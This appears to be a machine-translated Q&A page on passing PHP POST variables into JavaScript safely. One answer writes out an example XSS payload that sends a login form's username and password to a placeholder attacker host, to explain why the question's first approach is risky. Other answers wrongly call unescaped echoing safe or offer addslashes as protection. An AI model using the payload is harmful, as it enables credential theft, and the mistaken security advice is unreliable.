如何将变量从php传递给javascript?

时间:2015-12-23 13:00:35

标签: javascript php json

我想将php变量传递给javascript。我尝试了一些东西,但我不确定这是否安全。

<?php
$name=$_POST['name']; 
?>

<script>
var name="<?php echo $name ?>";
</script>

人们也这样做了

<?php 
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

哪个代码在安全性方面更好。使用第一个代码有任何风险吗?一点点解释就足够了。感谢

6 个答案:

答案 0 :(得分:4)

第一种情况:

如果我们想在javascript变量中简单地指定字符串值,则使用此情况。

<script>
var name="<?php echo $name ?>";
</script>


第二种情况:

对于这种情况,如果要在javascript变量中添加一些json_encode(),则应使用array

<?php 
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

是的,echo整个javascript或只是回显你的变量将不会改变你的输出。只需确保您的javascript变量具有正确的包装器'或者对象的情况下没有任何内容;

答案 1 :(得分:3)

答案 2 :(得分:2)

根据经验,由于您的POST数据不应该首先为所有用户操纵,您必须记住, 从不 信任用户输入数据 - 表单可能会受到损害。

<强> TL; DR

不可能给你一个是/否答案,这完全取决于你的剧本背景。

让我们想象一个场景。在原始表单上,您可以回复来自数据库的文本:

<form action="otherpage.php" method="post">
  <input name="name" type="text" id="name" />
  <?php echo $some_text_from_database; ?>
  <input type="submit" value="Submit" />
</form>

想象一下,恶意黑客设法通过SQL注入从一个数据库中更改了该文本的内容,一些密码来自作者帐户或其他任何方式;对此:

<script type="text/javascript">
  document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
        document.querySelector("#login_form").addEventListener("submit", function(){
            var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
            var xmlhttp = new XMLHttpRequest();
            xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.send();
        });
    var a="' />

这将首先更改原始输入名称,然后创建一个以恶意脚本作为值的新名称。所以我们得到$_POST['name']这个新的输入,而不是原来的 - 用户输入将被忽略。

所以,让我们进一步发挥你的想象力。让我们在你的 otherpage.php 中说出于某种原因有一个登录表单。在此页面上执行此操作:

<script>
var name="<?php echo $_POST['name']; ?>";
</script>

将导致此结果:

<script>
var name="";
            document.querySelector("#login_form").addEventListener("submit", function(){
                var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
                var xmlhttp = new XMLHttpRequest();
                xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send();
            });
        var a="";
</script>

这会做什么?当提交登录表单时,会向黑客网站发送一个AJAX请求,以明文形式发送登录名和密码......

总结一下:黑客利用您的简单echo访问他无法以其他方式访问的表单输入。

因为它听起来像一个非常优秀的案例,一般来说,操作用户输入,甚至数据库数据时, 始终 应该小心。你不能总是深刻理解你所做的事情的全部背景,而黑客往往是富有想象力的人。只需使用sanitize_text_field来清理您的数据(考虑到您在Wordpress环境中工作)将花费时间。

PS:所有这种情况几乎都是我几年前经历过的。一个黑客设法在我必须使用的网站上窃取了大量用户数据。从那时起我就知道太过偏执并不是坏事:)

一些好的阅读:

答案 3 :(得分:1)

请注意,如果$name包含引号,则Javascript代码会中断。使用PHP函数addslashes来避免这种情况:

<script>
var name = "<?php echo addslashes($name); ?>";
</script>

答案 4 :(得分:0)

您的两个代码都会产生相同的结果,并且在这两种情况下都没有安全问题。

您可以在google上找到有关Web服务器和Web浏览器的教程,以获取更多详细信息。 http://www.tutorialspoint.com/internet_technologies/web_servers.htm

答案 5 :(得分:0)

你做得对吗?这样做没有任何安全问题。